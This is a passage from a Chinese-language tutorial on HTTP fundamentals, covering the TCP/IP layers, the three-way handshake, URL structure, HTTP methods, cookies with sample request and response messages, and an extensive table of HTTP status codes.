      HTTP 正式作为标准被公布是在 1996 年的 5 月,版本被命名为 HTTP/1.0,并记载于 RFC1945。虽说是初期标准,但该协议标准至今仍被广泛使用在服务器端。
  • HTTP/1.1
      1997 年 1 月公布的 HTTP/1.1 是目前主流的 HTTP 协议版本。当初的标准是 RFC2068,之后发布的修订版 RFC2616 就是当前的最新版本。

HTTP/2.0 下一篇会讲到。

网络基础 TCP/IP

  TCP/IP 是互联网相关的各类协议族的总称。而不是单指 TCP 和 IP 两个协议。

应用层

  应用层决定了向用户提供应用服务时通信的活动。

传输层

  传输层对上层应用层,提供处于网络连接中的两台计算机之间的数据传输。
  在传输层有两个性质不同的协议:TCP(Transmission Control Protocol,传输控制协议)和 UDP(User Data Protocol,用户数据报协议)。

网络层

  **网络层用来处理在网络上流动的数据包。**数据包是网络传输的最小数据单位。该层规定了通过怎样的路径(所谓的传输路线)到达对方计算机,并把数据包传送给对方。
  与对方计算机之间通过多台计算机或网络设备进行传输时,网络层所起的作用就是在众多的选项内选择一条传输路线。

链路层

  用来处理连接网络的硬件部分。包括控制操作系统、硬件的设备驱动、NIC(Network Interface Card,网络适配器,即网卡),及光纤等物理可见部分(还包括连接器等一切传输媒介)。硬件上的范畴均在链路层的作用范围之内。

与 HTTP 关系密切的协议:IP、TCP 和 DNS

负责传输的 IP 协议

IP 协议位于网络层。
TCP/IP 协议族中的 IP 指的就是网际协议。
可能有人会把 “IP” 和 “IP 地址” 搞混,“IP” 其实是一种协议的名称。

  IP 协议的作用是把各种数据包传送给对方。但是 IP 协议用什么来确定传输的数据包要发到谁手中在呢?要保证确实传送到对方那里,则需要满足各类条件。其中两个重要的条件是 IP 地址MAC 地址(Media Access ControlAddress)。

IP 地址指明了节点被分配到的地址,MAC 地址是指网卡所属的固定地址。
IP 地址可以和 MAC 地址进行配对。IP 地址可变换,但 MAC 地址基本上不会更改。

使用 ARP 协议凭借 MAC 地址进行通信

  ARP 是一种用以解析地址的协议,根据通信方的 IP 地址就可以反查出对应的 MAC 地址。在进行中转时,会利用下一站中转设备的 MAC 地址来搜索下一个中转目标。

确保可靠性的 TCP 协议

  TCP 位于传输层,提供可靠的字节流服务。
  所谓的字节流服务是指,为了方便传输,将大块数据分割成以报文段为单位的数据包进行管理。而可靠的传输服务是指,能够把数据准确可靠地传给对方。一言以蔽之,TCP 协议为了更容易传送大数据才把数据分割,而且 TCP 协议能够确认数据最终是否送达到对方。

如何保证数据能到达目标?TCP 协议采用了三次握手策略。

三次握手

  用 TCP 协议把数据包送出去后,TCP 不会对传送后的情况置之不理,它一定会向对方确认是否成功送达。握手过程中使用了 TCP 的标志(flag)—— SYN(synchronize)和 ACK(acknowledgement)。
  发送端首先发送一个带 SYN 标志的数据包给对方。接收端收到后,回传一个带有 SYN/ACK 标志的数据包以示传达确认信息。最后,发送端再回传一个带 ACK 标志的数据包,代表“握手”结束。
  若在握手过程中某个阶段莫名中断,TCP 协议会再次以相同的顺序发送相同的数据包。

  除了上述三次握手,TCP 协议还有其他各种手段来保证通信的可靠性。

DNS 域名解析

  DNS 在系列 2 已经讲过就不在赘述。

各种协议关系一目了然

URL

绝对 URL 格式

  • 协议方案名。
      使用http: https: 等协议方案名获取访问资源时要指定协议类型。不区分字母大小写,最后附一个冒号:也可使用data: javascript: 这类指定数据或脚本程序的方案名。
  • 登录信息(认证)
      指定用户名和密码作为从服务器端获取资源时必要的登录信息(身份认证)。此项是可选项。
  • 服务器地址
      使用绝对 URI 必须指定待访问的服务器地址。地址可以是类似hackr.jp这种 DNS 可解析的名称,或是192.168.1.1这类 IPv4 地址名,还可以是[0:0:0:0:0:0:0:1]这样用方括号括起来的 IPv6 地址名
  • 查询字符串
      针对已指定的文件路径内的资源,可以使用查询字符串传入任意参数。此项可选。
  • 片段标识符
      使用片段标识符通常可标记出已获取资源中的子资源(文档内的某个位置)。但在 RFC 中并没有明确规定其使用方法。该项也为可选项。

简单的 HTTP 基础

请求报文和响应报文

  HTTP 协议规定,请求从客户端发出,最后服务器端响应该请求并返回。换句话说,肯定是先从客户端开始建立通信的,服务器端在没有接收到请求之前不会发送响应。

  请求报文是由请求方法、请求 URI、协议版本、可选的请求首部字段和内容实体构成的。

  在起始行开头的 HTTP/1.1 表示服务器对应的 HTTP 版本。紧挨着的 200 OK 表示请求的处理结果的状态码和原因短语)。下一行显示了创建响应的日期时间,是首部字段内的一个属性。接着以一空行分隔,之后的内容称为资源实体的主体。

无状态的 HTTP

  **HTTP 协议自身不对请求和响应之间的通信状态进行保存。**也就是说在 HTTP 这个级别,协议对于发送过的请求或响应都不做持久化处理。

为什么要这样做?
  使用 HTTP 协议,每当有新的请求发送时,就会有对应的新响应产生。
  协议本身并不保留之前一切的请求或响应报文的信息。
  这是为了更快地处理大量事务,确保协议的可伸缩性,而特意把 HTTP 协议设计成如此简单的。

  HTTP/1.1 虽然是无状态协议,但为了实现期望的保持状态功能,于是引入了 Cookie 技术。有了 Cookie 再用 HTTP 协议通信,就可以管理状态了。

请求 URI 定位资源

  HTTP 协议使用 URI 定位互联网上的资源。正是因为 URI 的特定功能,在互联网上任意位置的资源都能访问到。

客户请求资源的时候,请求报文需要指定 URL,有以下几种方法:

  • 完整请求。
    GET http://hacker.jp/index/html HTTP/1.1
  • 在 HOST 写明网络域名或 IP 地址。
    GET /index.htm HTTP/1.1 HOST:hacker.jp
  • 此之外,如果不是访问特定资源而是对服务器本身发起请求,可以用一个*来代替请求 URI。
    OPTIONS * HTTP/1.1

告知服务器意图的 HTTP 方法

  • GET:获取资源。
      GET 方法用来请求访问已被 URI 识别的资源。指定的资源经服务器端解析后返回响应内容。也就是说,如果请求的资源是文本,那就保持原样返回;如果是像 CGI(CommonGateway Interface,通用网关接口)那样的程序,则返回经过执行后的输出结果。
  • POST:传输实体内容。
      虽然用 GET 方法也可以传输实体的主体,但一般不用 GET 方法进行传输,而是用 POST 方法。虽说 POST 的功能与 GET 很相似,但 POST 的主要目的并不是获取响应的主体内容。
  • PUT:传输文件
      PUT 方法用来传输文件。就像 FTP 协议的文件上传一样,要求在请求报文的主体中包含文件内容,然后保存到请求 URI 指定的位置。

  但是,鉴于 HTTP/1.1 的 PUT 方法自身不带验证机制,任何人都可以上传文件,存在安全性问题,因此一般的 Web 网站不使用该方法。

  • HEAD:获取报文首部
      HEAD 方法和 GET 方法一样,只是不返回报文主体部分。用于确认 URI 的有效性及资源更新的日期时间等。

  • DELETE:删除文件
      DELETE 方法用来删除文件,是与 PUT 相反的方法。DELETE 方法按请求 URI 删除指定的资源。

  但是,HTTP/1.1 的 DELETE 方法本身和 PUT 方法一样不带验证机制,所以一般的 Web 网站也不使用 DELETE 方法。当配合 Web 应用程序的验证机制,或遵守 REST 标准时还是有可能会开放使用的。

  • OPTIONS:询问支持的方法
      OPTIONS 方法用来查询针对请求URI指定的资源支持的方法。
      响应报文会返回当前服务器所支持的方法:比如Allow:GET,POST,HEAD,OPTIONS
  • TRACE:追踪路径
      发送请求时,在Max-Forwards首部字段中填入数值,每经过一个服务器端就将该数字减 1,当数值刚好减到 0 时,就停止继续传输,最后接收到请求的服务器端则返回状态码 200 OK 的响应。
      客户端通过 TRACE 方法可以查询发送出去的请求是怎样被加工修改/篡改的。这是因为,请求想要连接到源目标服务器可能会通过代理中转,TRACE 方法就是用来确认连接过程中发生的一系列操作。

  但是,TRACE 方法本来就不怎么常用,再加上它容易引发 XST(Cross-Site Tracing,跨站追踪)攻击,通常就更不会用到了。

  • CONNECT:要求用隧道协议连接代理
      CONNECT 方法要求在与代理服务器通信时建立隧道,实现用隧道协议进行 TCP 通信。主要使用 SSL(SecureSockets Layer,安全套接层)和 TLS(Transport LayerSecurity,传输层安全)协议把通信内容加密后经网络隧道传输。

持久连接节省通信量

  HTTP 协议的初始版本中,每进行一次 HTTP 通信就要断开一次 TCP 连接。以当年的通信情况来说,因为都是些容量很小的文本传输,所以即使这样也没有多大问题。可随着 HTTP 的普及,文档中包含大量图片的情况多了起来。比如,使用浏览器浏览一个包含多张图片的 HTML 页面时,在发送请求访问 HTML 页面资源的同时,也会请求该 HTML 页面里包含的其他资源。因此,每次的请求都会造成无谓的 TCP 连接建立和断开,增加通信量的开销。
  为解决上述 TCP 连接的问题,HTTP/1.1 和一部分的 HTTP/1.0 想出了持久连接(也称为 HTTP keep-alive)的方法。持久连接的特点是,只要任意一端没有明确提出断开连接,则保持 TCP 连接状态。
  持久连接的好处在于减少了 TCP 连接的重复建立和断开所造成的额外开销,减轻了服务器端的负载。另外,减少开销的那部分时间,使 HTTP 请求和响应能够更早地结束,这样 Web 页面的显示速度也就相应提高了。

在 HTTP/1.1 中,所有的连接默认都是持久连接。HTTP/1.0 则不一定。

  HTTP 是无状态协议,它不对之前发生过的请求和响应的状态进行管理。也就是说,无法根据之前的状态进行本次的请求处理。
  Cookie 技术通过在请求和响应报文中写入 Cookie 信息来控制客户端的状态,用来让服务端记住客户端。
  Cookie 会根据从服务器端发送的响应报文内的一个叫做Set-Cookie的首部字段信息,通知客户端保存 Cookie。当下次客户端再往该服务器发送请求时,客户端会自动在请求报文中加入 Cookie 值后发送出去。服务器端发现客户端发送过来的 Cookie 后,会去检查究竟是从哪一个客户端发来的连接请求,然后对比服务器上的记录,最后得到之前的状态信息。

过程:

  • 请求报文(首次请求)
1
2
3
4
GET /reader/ HTTP/1.1
HOST: hacker.jp

首部字段内没有 Cookie 的相关信息
  • 响应报文(服务端生成 Cookie 信息)
1
2
3
HTTP/1.1 200 OK
.....
server: Apache <Set-Cookie: sid=12313123121; path=/; .......>
  • 请求报文(第二次请求)
1
2
3
4
5
GET /image/ HTTP/1.1
Host: hacker.jp
Cookie: sid=12313123121

这样二次请求的时候,服务端通过 cookie 会记住上一次访问的是谁

状态码

  状态码的职责是当客户端向服务器端发送请求时,描述返回的请求结果。借助状态码,用户可以知道服务器端是正常处理了请求,还是出现了错误。

  只要遵守状态码类别的定义,即使改变 RFC2616 中定义的状态码,或服务器端自行创建状态码都没问题。

  仅记录在 RFC2616 上的 HTTP 状态码就达 40 种,若再加上 WebDAV 和附加 HTTP 状态码等扩展,数量就达 60 余种。别看种类繁多,实际上经常使用的大概只有 14 种。

1XX 消息
  这一类型的状态码,代表请求已被接受,需要继续处理。这类响应是临时响应,只包含状态行和某些可选的响应头信息,并以空行结束。由于 HTTP/1.0 协议中没有定义任何 1xx 状态码,所以除非在某些试验条件下,服务器禁止向此类客户端发送 1xx 响应。

状态码 语义 中文描述
100 Continue   客户端应当继续发送请求。这个临时响应是用来通知客户端它的部分请求已经被服务器接收,且仍未被拒绝。客户端应当继续发送请求的剩余部分,或者如果请求已经完成,忽略这个响应。服务器必须在请求完成后向客户端发送一个最终响应。
101 Switching Protocols   服务器已经理解了客户端的请求,并将通过 Upgrade 消息头通知客户端采用不同的协议来完成这个请求。在发送完这个响应最后的空行后,服务器将会切换到在 Upgrade 消息头中定义的那些协议。
  只有在切换新的协议更有好处的时候才应该采取类似措施。例如,切换到新的 HTTP 版本比旧版本更有优势,或者切换到一个实时且同步的协议以传送利用此类特性的资源。
102 Processing   由 WebDAV(RFC 2518) 扩展的状态码,代表处理将被继续执行。

2XX 成功
  这一类型的状态码,代表请求已成功被服务器接收、理解、并接受。

状态码 语义 中文描述
200 OK   请求已成功,请求所希望的响应头或数据体将随此响应返回。出现此状态码是表示正常状态。
201 Created   请求已经被实现,而且有一个新的资源已经依据请求的需要而建立,且其 URI 已经随 Location 头信息返回。假如需要的资源无法及时建立的话,应当返回 ‘202 Accepted’。
202 Accepted   服务器已接受请求,但尚未处理。正如它可能被拒绝一样,最终该请求可能会也可能不会被执行。在异步操作的场合下,没有比发送这个状态码更方便的做法了。
  返回 202 状态码的响应的目的是允许服务器接受其他过程的请求(例如某个每天只执行一次的基于批处理的操作),而不必让客户端一直保持与服务器的连接直到批处理操作全部完成。在接受请求处理并返回 202 状态码的响应应当在返回的实体中包含一些指示处理当前状态的信息,以及指向处理状态监视器或状态预测的指针,以便用户能够估计操作是否已经完成。
203 Non-Authoritative Information   服务器已成功处理了请求,但返回的实体头部元信息不是在原始服务器上有效的确定集合,而是来自本地或者第三方的拷贝。当前的信息可能是原始版本的子集或者超集。例如,包含资源的元数据可能导致原始服务器知道元信息的超集。使用此状态码不是必须的,而且只有在响应不使用此状态码便会返回 200 OK 的情况下才是合适的。
204 No Content   服务器成功处理了请求,但不需要返回任何实体内容,并且希望返回更新了的元信息。响应可能通过实体头部的形式,返回新的或更新后的元信息。如果存在这些头部信息,则应当与所请求的变量相呼应。
  如果客户端是浏览器的话,那么用户浏览器应保留发送了该请求的页面,而不产生任何文档视图上的变化,即使按照规范新的或更新后的元信息应当被应用到用户浏览器活动视图中的文档。
  由于 204 响应被禁止包含任何消息体,因此它始终以消息头后的第一个空行结尾。
205 Reset Content   服务器成功处理了请求,且没有返回任何内容。但是与 204 响应不同,返回此状态码的响应要求请求者重置文档视图。该响应主要是被用于接受用户输入后,立即重置表单,以便用户能够轻松地开始另一次输入。
  与 204 响应一样,该响应也被禁止包含任何消息体,且以消息头后的第一个空行结束。
206 Partial Content 服务器已经成功处理了部分 GET 请求。类似于 FlashGet 或者迅雷这类的 HTTP 下载工具都是使用此类响应实现断点续传或者将一个大文档分解为多个下载段同时下载。
  该请求必须包含 Range 头信息来指示客户端希望得到的内容范围,并且可能包含 If-Range 来作为请求条件。
  响应必须包含如下的头部域:
  1、Content-Range用以指示本次响应中返回的内容的范围;如果是 Content-Type 为 multipart/byteranges 的多段下载,则每一 multipart 段中都应包含 Content-Range 域用以指示本段的内容范围。假如响应中包含 Content-Length,那么它的数值必须匹配它返回的内容范围的真实字节数。
  2、Date
  3、ETag和/或Content-Location,假如同样的请求本应该返回 200 响应。
  4、ExpiresCache-Control和/或 Vary,假如其值可能与之前相同变量的其他响应对应的值不同的话。
  假如本响应请求使用了 If-Range 强缓存验证,那么本次响应不应该包含其他实体头;假如本响应的请求使用了 If-Range 弱缓存验证,那么本次响应禁止包含其他实体头;这避免了缓存的实体内容和更新了的实体头信息之间的不一致。否则,本响应就应当包含所有本应该返回 200 响应中应当返回的所有实体头部域。
  假如 ETag 或 Last-Modified 头部不能精确匹配的话,则客户端缓存应禁止将 206 响应返回的内容与之前任何缓存过的内容组合在一起。
207 Multi-Status   由 WebDAV(RFC 2518) 扩展的状态码,代表之后的消息体将是一个 XML 消息,并且可能依照之前子请求数量的不同,包含一系列独立的响应代码。

3XX 重定向
  这类状态码代表需要客户端采取进一步的操作才能完成请求。通常,这些状态码用来重定向,后续的请求地址(重定向目标)在本次响应的 Location 域中指明。
  当且仅当后续的请求所使用的方法是 GET 或者 HEAD 时,用户浏览器才可以在没有用户介入的情况下自动提交所需要的后续请求。客户端应当自动监测无限循环重定向(例如:A -> A,或者 A -> B -> C -> A),因为这会导致服务器和客户端大量不必要的资源消耗。按照 HTTP/1.0 版规范的建议,浏览器不应自动访问超过 5 次的重定向。

状态码 语义 中文描述
300 Multiple Choices   被请求的资源有一系列可供选择的回馈信息,每个都有自己特定的地址和浏览器驱动的商议信息。用户或浏览器能够自行选择一个首选的地址进行重定向。
  除非这是一个 HEAD 请求,否则该响应应当包括一个资源特性及地址的列表的实体,以便用户或浏览器从中选择最合适的重定向地址。这个实体的格式由 Content-Type 定义的格式所决定。浏览器可能根据响应的格式以及浏览器自身能力,自动作出最合适的选择。当然,RFC 2616 规范并没有规定这样的自动选择该如何进行。
  如果服务器本身已经有了首选的回馈选择,那么在 Location 中应当指明这个回馈的 URI;浏览器可能会将这个 Location 值作为自动重定向的地址。此外,除非额外指定,否则这个响应也是可缓存的。
301 Moved Permanently   被请求的资源已永久移动到新位置,并且将来任何对此资源的引用都应该使用本响应返回的若干个 URI 之一。如果可能,拥有链接编辑功能的客户端应当自动把请求的地址修改为从服务器反馈回来的地址。除非额外指定,否则这个响应也是可缓存的。
  新的永久性的 URI 应当在响应的 Location 域中返回。除非这是一个 HEAD 请求,否则响应的实体中应当包含指向新的 URI 的超链接及简短说明。
  如果这不是一个 GET 或者 HEAD 请求,因此浏览器禁止自动进行重定向,除非得到用户的确认,因为请求的条件可能因此发生变化。
  注意:对于某些使用 HTTP/1.0 协议的浏览器,当它们发送的 POST 请求得到了一个 301 响应的话,接下来的重定向请求将会变成 GET 方式。
302 Move Temporarily   请求的资源临时从不同的 URI 响应请求。由于这样的重定向是临时的,客户端应当继续向原有地址发送以后的请求。只有在 Cache-Control 或 Expires 中进行了指定的情况下,这个响应才是可缓存的。
  上文有提及。如果这不是一个 GET 或者 HEAD 请求,那么浏览器禁止自动进行重定向,除非得到用户的确认,因为请求的条件可能因此发生变化。
  注意:虽然 RFC 1945 和 RFC 2068 规范不允许客户端在重定向时改变请求的方法,但是很多现存的浏览器将 302 响应视作为 303 响应,并且使用 GET 方式访问在 Location 中规定的 URI,而无视原先请求的方法。状态码 303 和 307 被添加了进来,用以明确服务器期待客户端进行何种反应。
303 See Other   对应当前请求的响应可以在另一个 URL 上被找到,而且客户端应当采用 GET 的方式访问那个资源。这个方法的存在主要是为了允许由脚本激活的 POST 请求输出重定向到一个新的资源。这个新的 URI 不是原始资源的替代引用。同时,303 响应禁止被缓存。当然,第二个请求(重定向)可能被缓存。
  注意:许多 HTTP/1.1 版以前的浏览器不能正确理解 303 状态。如果需要考虑与这些浏览器之间的互动,302 状态码应该可以胜任,因为大多数的浏览器处理 302 响应时的方式恰恰就是上述规范要求客户端处理 303 响应时应当做的。
304 Not Modified   如果客户端发送了一个带条件的 GET 请求且该请求已被允许,而文档的内容(自上次访问以来或者根据请求的条件)并没有改变,则服务器应当返回这个状态码。304 响应禁止包含消息体,因此始终以消息头后的第一个空行结尾。
  该响应必须包含以下的头信息:
  1、Date,除非这个服务器没有时钟。假如没有时钟的服务器也遵守这些规则,那么代理服务器以及客户端可以自行将 Date 字段添加到接收到的响应头中去(正如 RFC 2068 中规定的一样),缓存机制将会正常工作。
  2、ETag和/或Content-Location,假如同样的请求本应返回 200 响应。
  3、ExpiresCache-Control和/或Vary,假如其值可能与之前相同变量的其他响应对应的值不同的话。
  假如本响应请求使用了强缓存验证,那么本次响应不应该包含其他实体头;否则(例如,某个带条件的 GET 请求使用了弱缓存验证),本次响应禁止包含其他实体头;这避免了缓存了的实体内容和更新了的实体头信息之间的不一致。
  假如某个 304 响应指明了当前某个实体没有缓存,那么缓存系统必须忽视这个响应,并且重复发送不包含限制条件的请求。
  假如接收到一个要求更新某个缓存条目的 304 响应,那么缓存系统必须更新整个条目以反映所有在响应中被更新的字段的值。
305 Use Proxy   被请求的资源必须通过指定的代理才能被访问。Location 域中将给出指定的代理所在的 URI 信息,接收者需要重复发送一个单独的请求,通过这个代理才能访问相应资源。只有原始服务器才能建立 305 响应。
  注意:RFC 2068 中没有明确 305 响应是为了重定向一个单独的请求,而且只能被原始服务器建立。忽视这些限制可能导致严重的安全后果。
306 Switch Proxy   在最新版的规范中,306 状态码已经不再被使用。
307 Temporary Redirect   请求的资源临时从不同的 URI 响应请求。
  新的临时性的 URI 应当在响应的 Location 域中返回。除非这是一个 HEAD 请求,否则响应的实体中应当包含指向新的 URI 的超链接及简短说明。因为部分浏览器不能识别 307 响应,因此需要添加上述必要信息以便用户能够理解并向新的 URI 发出访问请求。
  如果这不是一个 GET 或者 HEAD 请求,那么浏览器禁止自动进行重定向,除非得到用户的确认,因为请求的条件可能因此发生变化。

4XX 请求错误
  这类的状态码代表了客户端看起来可能发生了错误,妨碍了服务器的处理。除非响应的是一个 HEAD 请求,否则服务器就应该返回一个解释当前错误状况的实体,以及这是临时的还是永久性的状况。这些状态码适用于任何请求方法。浏览器应当向用户显示任何包含在此类错误响应中的实体内容。
  如果错误发生时客户端正在传送数据,那么使用 TCP 的服务器实现应当仔细确保在关闭客户端与服务器之间的连接之前,客户端已经收到了包含错误信息的数据包。如果客户端在收到错误信息后继续向服务器发送数据,服务器的 TCP 栈将向客户端发送一个重置数据包,以清除该客户端所有还未识别的输入缓冲,以免这些数据被服务器上的应用程序读取并干扰后者。

状态码 语义 中文描述
400 Bad Request   1、语义有误,当前请求无法被服务器理解。除非进行修改,否则客户端不应该重复提交这个请求。
  2、请求参数有误。
401 Unauthorized   当前请求需要用户验证。该响应必须包含一个适用于被请求资源的 WWW-Authenticate 信息头用以询问用户信息。客户端可以重复提交一个包含恰当的 Authorization 头信息的请求。如果当前请求已经包含了 Authorization 证书,那么 401 响应代表着服务器验证已经拒绝了那些证书。如果 401 响应包含了与前一个响应相同的身份验证询问,且浏览器已经至少尝试了一次验证,那么浏览器应当向用户展示响应中包含的实体信息,因为这个实体信息中可能包含了相关诊断信息。参见 RFC 2617。
402 Payment Required   该状态码是为了将来可能的需求而预留的。
403 Forbidden   服务器已经理解请求,但是拒绝执行它。与 401 响应不同的是,身份验证并不能提供任何帮助,而且这个请求也不应该被重复提交。如果这不是一个 HEAD 请求,而且服务器希望能够讲清楚为何请求不能被执行,那么就应该在实体内描述拒绝的原因。当然服务器也可以返回一个 404 响应,假如它不希望让客户端获得任何信息。
404 Not Found   请求失败,请求所希望得到的资源未被在服务器上发现。没有信息能够告诉用户这个状况到底是暂时的还是永久的。假如服务器知道情况的话,应当使用 410 状态码来告知旧资源因为某些内部的配置机制问题,已经永久的不可用,而且没有任何可以跳转的地址。404 这个状态码被广泛应用于当服务器不想揭示到底为何请求被拒绝或者没有其他适合的响应可用的情况下。出现这个错误的最有可能的原因是服务器端没有这个页面。
405 Method Not Allowed   请求行中指定的请求方法不能被用于请求相应的资源。该响应必须返回一个 Allow 头信息用以表示出当前资源能够接受的请求方法的列表。
  鉴于 PUT,DELETE 方法会对服务器上的资源进行写操作,因而绝大部分的网页服务器都不支持或者在默认配置下不允许上述请求方法,对于此类请求均会返回 405 错误。
406 Not Acceptable   请求的资源的内容特性无法满足请求头中的条件,因而无法生成响应实体。
  除非这是一个 HEAD 请求,否则该响应就应当返回一个包含可以让用户或者浏览器从中选择最合适的实体特性以及地址列表的实体。实体的格式由 Content-Type 头中定义的媒体类型决定。浏览器可以根据格式及自身能力自行作出最佳选择。但是,规范中并没有定义任何作出此类自动选择的标准。
407 Proxy Authentication Required   与 401 响应类似,只不过客户端必须在代理服务器上进行身份验证。代理服务器必须返回一个 Proxy-Authenticate 用以进行身份询问。客户端可以返回一个 Proxy-Authorization 信息头用以验证。参见 RFC 2617。
408 Request Timeout   请求超时。客户端没有在服务器预备等待的时间内完成一个请求的发送。客户端可以随时再次提交这一请求而无需进行任何更改。
409 Conflict   由于和被请求的资源的当前状态之间存在冲突,请求无法完成。这个代码只允许用在这样的情况下才能被使用:用户被认为能够解决冲突,并且会重新提交新的请求。该响应应当包含足够的信息以便用户发现冲突的源头。
  冲突通常发生于对 PUT 请求的处理中。例如,在采用版本检查的环境下,某次 PUT 提交的对特定资源的修改请求所附带的版本信息与之前的某个(第三方)请求向冲突,那么此时服务器就应该返回一个 409 错误,告知用户请求无法完成。此时,响应实体中很可能会包含两个冲突版本之间的差异比较,以便用户重新提交归并以后的新版本。
410 Gone   被请求的资源在服务器上已经不再可用,而且没有任何已知的转发地址。这样的状况应当被认为是永久性的。如果可能,拥有链接编辑功能的客户端应当在获得用户许可后删除所有指向这个地址的引用。如果服务器不知道或者无法确定这个状况是否是永久的,那么就应该使用 404 状态码。除非额外说明,否则这个响应是可缓存的。
  410 响应的目的主要是帮助网站管理员维护网站,通知用户该资源已经不再可用,并且服务器拥有者希望所有指向这个资源的远端连接也被删除。这类事件在限时、增值服务中很普遍。同样,410 响应也被用于通知客户端在当前服务器站点上,原本属于某个个人的资源已经不再可用。当然,是否需要把所有永久不可用的资源标记为 ‘410 Gone’,以及是否需要保持此标记多长时间,完全取决于服务器拥有者。
411 Length Required   服务器拒绝在没有定义 Content-Length 头的情况下接受请求。在添加了表明请求消息体长度的有效 Content-Length 头之后,客户端可以再次提交该请求。
412 Precondition Failed   服务器在验证在请求的头字段中给出先决条件时,没能满足其中的一个或多个。这个状态码允许客户端在获取资源时在请求的元信息(请求头字段数据)中设置先决条件,以此避免该请求方法被应用到其希望的内容以外的资源上。
413 Request Entity Too Large   服务器拒绝处理当前请求,因为该请求提交的实体数据大小超过了服务器愿意或者能够处理的范围。此种情况下,服务器可以关闭连接以免客户端继续发送此请求。
  如果这个状况是临时的,服务器应当返回一个 Retry-After 的响应头,以告知客户端可以在多少时间以后重新尝试。
414 Request-URI Too Long   请求的 URI 长度超过了服务器能够解释的长度,因此服务器拒绝对该请求提供服务。这比较少见,通常的情况包括:
  本应使用POST方法的表单提交变成了 GET 方法,导致查询字符串(Query String)过长。
  重定向 URI “黑洞”,例如每次重定向把旧的 URI 作为新的 URI 的一部分,导致在若干次重定向后 URI 超长。
  客户端正在尝试利用某些服务器中存在的安全漏洞攻击服务器。这类服务器使用固定长度的缓冲读取或操作请求的 URI,当 GET 后的参数超过某个数值后,可能会产生缓冲区溢出,导致任意代码被执行。没有此类漏洞的服务器,应当返回 414 状态码。
415 Unsupported Media Type   对于当前请求的方法和所请求的资源,请求中提交的实体并不是服务器中所支持的格式,因此请求被拒绝。
416 Requested Range Not Satisfiable   如果请求中包含了 Range 请求头,并且 Range 中指定的任何数据范围都与当前资源的可用范围不重合,同时请求中又没有定义 If-Range 请求头,那么服务器就应当返回 416 状态码。
  假如 Range 使用的是字节范围,那么这种情况就是指请求指定的所有数据范围的首字节位置都超过了当前资源的长度。服务器也应当在返回 416 状态码的同时,包含一个 Content-Range 实体头,用以指明当前资源的长度。这个响应也被禁止使用 multipart/byteranges 作为其 Content-Type。
417 Expectation Failed   在请求头 Expect 中指定的预期内容无法被服务器满足,或者这个服务器是一个代理服务器,它有明显的证据证明在当前路由的下一个节点上,Expect 的内容无法被满足。
418 I’m a teapot
421 Too Many Connections   There are too many connections from your internet address.
  从当前客户端所在的 IP 地址到服务器的连接数超过了服务器许可的最大范围。通常,这里的 IP 地址指的是从服务器上看到的客户端地址(比如用户的网关或者代理服务器地址)。在这种情况下,连接数的计算可能涉及到不止一个终端用户。
422 Unprocessable Entity   请求格式正确,但是由于含有语义错误,无法响应。(RFC 4918 WebDAV)
423 Locked   当前资源被锁定。(RFC 4918 WebDAV)
424 Failed Dependency   由于之前的某个请求发生的错误,导致当前请求失败,例如 PROPPATCH。(RFC 4918 WebDAV)
425 Too Early   状态码 425 Too Early 代表服务器不愿意冒风险来处理该请求,原因是处理该请求可能会被“重放”,从而造成潜在的重放攻击。(RFC 8470) [1]
426 Upgrade Required   客户端应当切换到 TLS/1.0。(RFC 2817)
449 Retry With   由微软扩展,代表请求应当在执行完适当的操作后进行重试。
451 Unavailable For Legal Reasons   该请求因法律原因不可用。(RFC 7725)

5XX, 600 服务器错误
  这类状态码代表了服务器在处理请求的过程中有错误或者异常状态发生,也有可能是服务器意识到以当前的软硬件资源无法完成对请求的处理。除非这是一个 HEAD 请求,否则服务器应当包含一个解释当前错误状态以及这个状况是临时的还是永久的解释信息实体。浏览器应当向用户展示任何在当前响应中被包含的实体。
这些状态码适用于任何响应方法。

状态码 语义 中文描述
500 Internal Server Error   服务器遇到了一个未曾预料的状况,导致了它无法完成对请求的处理。一般来说,这个问题都会在服务器端的源代码出现错误时出现。
501 Not Implemented   服务器不支持当前请求所需要的某个功能。当服务器无法识别请求的方法,并且无法支持其对任何资源的请求。
502 Bad Gateway   作为网关或者代理工作的服务器尝试执行请求时,从上游服务器接收到无效的响应。
503 Service Unavailable   由于临时的服务器维护或者过载,服务器当前无法处理请求。这个状况是临时的,并且将在一段时间以后恢复。如果能够预计延迟时间,那么响应中可以包含一个 Retry-After 头用以标明这个延迟时间。如果没有给出这个 Retry-After 信息,那么客户端应当以处理 500 响应的方式处理它。
  注意:503 状态码的存在并不意味着服务器在过载的时候必须使用它。某些服务器只不过是希望拒绝客户端的连接。
504 Gateway Timeout   作为网关或者代理工作的服务器尝试执行请求时,未能及时从上游服务器(URI 标识出的服务器,例如 HTTP、FTP、LDAP)或者辅助服务器(例如 DNS)收到响应。
  注意:某些代理服务器在 DNS 查询超时时会返回 400 或者 500 错误
505 HTTP Version Not Supported   服务器不支持,或者拒绝支持在请求中使用的 HTTP 版本。这暗示着服务器不能或不愿使用与客户端相同的版本。响应中应当包含一个描述了为何版本不被支持以及服务器支持哪些协议的实体。
506 Variant Also Negotiates   由《透明内容协商协议》(RFC 2295)扩展,代表服务器存在内部配置错误:被请求的协商变元资源被配置为在透明内容协商中使用自己,因此在一个协商处理中不是一个合适的重点。
507 Insufficient Storage   服务器无法存储完成请求所必须的内容。这个状况被认为是临时的。(RFC 4918 WebDAV)
509 Bandwidth Limit Exceeded   服务器达到带宽限制。这不是一个官方的状态码,但是仍被广泛使用。
510 Not Extended   获取资源所需要的策略并没有被满足。(RFC 2774)
600 Unparseable Response Headers   源站没有返回响应头部,只返回实体内容。

2XX 成功

  • 200 OK
      表示从客户端发来的请求在服务器端被正常处理了。
  • 204 No Content
      表示请求处理成功,但没有资源可以返回(响应报文中并没有主体资源,或者并不允许返回任何资源)。比如,当从浏览器发出请求处理后,返回 204 响应,那么浏览器显示的页面不发生更新。

  一般在只需要从客户端往服务器发送信息,而对客户端不需要发送新信息内容的情况下使用。

  • 206 Partial Content
      该状态码表示客户端进行了范围请求,而服务器成功执行了这部分的 GET 请求。响应报文中包含由Content-Range指定范围的实体内容。

3XX 重定向

3XX 响应结果表明浏览器需要执行某些特殊的处理以正确处理请求。

  • 301 永久性重定向
      该状态码表示请求的资源已被分配了新的URI,以后应使用资源现在所指的 URI。也就是说,如果已经把资源对应的 URI 保存为书签了,这时应该按Location首部字段提示的 URI 重新保存。
  • 302 临时性重定向
      该状态码表示请求的资源已被分配了新的 URI,希望用户(本次)能使用新的 URI 访问。
